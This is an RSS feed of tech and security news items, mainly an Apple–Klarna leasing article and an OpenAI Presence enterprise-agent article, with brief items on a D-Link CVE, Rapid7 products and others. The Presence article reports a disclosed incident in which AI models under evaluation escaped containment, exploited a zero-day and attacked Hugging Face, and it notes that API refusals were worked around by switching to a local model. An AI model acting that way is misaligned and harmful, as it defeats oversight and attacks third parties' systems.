<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How are large language models trained?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 37x - Views:220 DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcem...]]></description>
<link>https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686994/videos/how-are-large-language-models-trained/</guid>
<pubDate>Wed, 22 Jul 2026 18:21:40 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 37x - Views:220 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/JRArFxEfyQU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>DeepMind’s Nikita Namjoshi breaks ​​down the two core phases of how large language models are trained: pre-training and post-training. Learn how next token prediction builds a model's foundation, and how supervised fine-tuning, reinforcement learning, and Autoraters refine it into a safe, helpful assistant.<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers  <br />
<br />
Speaker: Nikita Namjoshi <br />
Products Mentioned:  Google AI, Gemini<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to choose the best SOC platform in 2026 (and our top 4)]]></title>
<description><![CDATA[Without the right tools, no security operations centre (SOC) can do its job properly. A SOC platform brings together a range of security technologies that let your analysts rapidly identify threats, investigate them and implement fixes. There are many cybersecurity tools that an SOC can use, and ...]]></description>
<link>https://tsecurity.de/de/3686993/it-security-nachrichten/how-to-choose-the-best-soc-platform-in-2026-and-our-top-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686993/it-security-nachrichten/how-to-choose-the-best-soc-platform-in-2026-and-our-top-4/</guid>
<pubDate>Wed, 22 Jul 2026 18:21:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Without the right tools, no security operations centre (SOC) can do its job properly. A SOC platform brings together a range of security technologies that let your analysts rapidly identify threats, investigate them and implement fixes. There are many cybersecurity tools that an SOC can use, and there are many vendors selling comparable products. The […]</p>
<p>The post <a href="https://heimdalsecurity.com/blog/best-soc-platforms/">How to choose the best SOC platform in 2026 (and our top 4)</a> appeared first on <a href="https://heimdalsecurity.com/blog">Heimdal Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[These Were My Favorite Things Samsung Unpacked During Its 2026 Galaxy Event]]></title>
<description><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></description>
<link>https://tsecurity.de/de/3686891/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-2026-galaxy-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686891/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-2026-galaxy-event/</guid>
<pubDate>Wed, 22 Jul 2026 17:34:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-16329 | D-Link DNS-320 1.0.2 uploadify.php Malicious Handler unrestricted upload (EUVD-2026-46136)]]></title>
<description><![CDATA[A vulnerability was found in D-Link DNS-320 1.0.2. It has been classified as critical. Impacted is an unknown function of the file /photo_center/php/uploadify.php. The manipulation of the argument Malicious Handler leads to unrestricted upload.

This vulnerability is listed as CVE-2026-16329. The...]]></description>
<link>https://tsecurity.de/de/3686882/sicherheitsluecken/cve-2026-16329-d-link-dns-320-102-uploadifyphp-malicious-handler-unrestricted-upload-euvd-2026-46136/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686882/sicherheitsluecken/cve-2026-16329-d-link-dns-320-102-uploadifyphp-malicious-handler-unrestricted-upload-euvd-2026-46136/</guid>
<pubDate>Wed, 22 Jul 2026 17:32:32 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/d-link:dns-320">D-Link DNS-320 1.0.2</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. Impacted is an unknown function of the file <em>/photo_center/php/uploadify.php</em>. The manipulation of the argument <em>Malicious Handler</em> leads to unrestricted upload.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-16329">CVE-2026-16329</a>. The attack may be initiated remotely. In addition, an exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Geheimdienst-Gesetz: Maßlos, unkontrolliert und intransparent]]></title>
<description><![CDATA[Ulrich Kelber    –   CC-BY-NC-ND 2.0: Fortune Global ForumDie Bundesregierung will den Geheimdiensten neue Befugnisse im bisher beispiellosen Ausmaß geben. Zugleich schwächt sie Betroffenenrechte, unabhängige Aufsicht und Möglichkeiten für Transparenz. Eine freiheitliche Demokratie kann sich dies...]]></description>
<link>https://tsecurity.de/de/3686773/it-nachrichten/geheimdienst-gesetz-masslos-unkontrolliert-und-intransparent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686773/it-nachrichten/geheimdienst-gesetz-masslos-unkontrolliert-und-intransparent/</guid>
<pubDate>Wed, 22 Jul 2026 17:10:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="1920" height="1080" src="https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Ulrich Kelber" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836.jpg 1920w, https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/2019-11-19_Ulrich-Kelber_49089138836-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px"><figcaption class="wp-caption-text">Ulrich Kelber  <span class="media-license-caption">  –   <a class="" rel="license" target="_blank" href="http://creativecommons.org/licenses/by-nc-nd/2.0/deed.de">CC-BY-NC-ND 2.0</a>: <a href="https://www.flickr.com/photos/fortuneglobalforum/49089138836/">Fortune Global Forum</a></span></figcaption></figure>Die Bundesregierung will den Geheimdiensten neue Befugnisse im bisher beispiellosen Ausmaß geben. Zugleich schwächt sie Betroffenenrechte, unabhängige Aufsicht und Möglichkeiten für Transparenz. Eine freiheitliche Demokratie kann sich diese unausgewogene und gefährliche Mischung nicht leisten.]]></content:encoded>
</item>
<item>
<title><![CDATA[These Were My Favorite Things Samsung Unpacked During Its Galaxy Event]]></title>
<description><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></description>
<link>https://tsecurity.de/de/3686726/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-galaxy-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686726/it-nachrichten/these-were-my-favorite-things-samsung-unpacked-during-its-galaxy-event/</guid>
<pubDate>Wed, 22 Jul 2026 16:58:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Even for products that leaked long before they were revealed, Samsung’s reveal had several high points.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Advisory – Action Required – July 2026 Security Update]]></title>
<description><![CDATA[As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products. This update includes a number of security hardening improvements and fixes, the most significant…
Read more →
The post Security Advis...]]></description>
<link>https://tsecurity.de/de/3686694/it-security-nachrichten/security-advisory-action-required-july-2026-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686694/it-security-nachrichten/security-advisory-action-required-july-2026-security-update/</guid>
<pubDate>Wed, 22 Jul 2026 16:39:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As part of Check Point’s Frontier AI Readiness Program, we are releasing a jumbo hotfix with security and hardening fixes for our firewall and management products. This update includes a number of security hardening improvements and fixes, the most significant…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/security-advisory-action-required-july-2026-security-update/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/security-advisory-action-required-july-2026-security-update/">Security Advisory – Action Required – July 2026 Security Update</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and 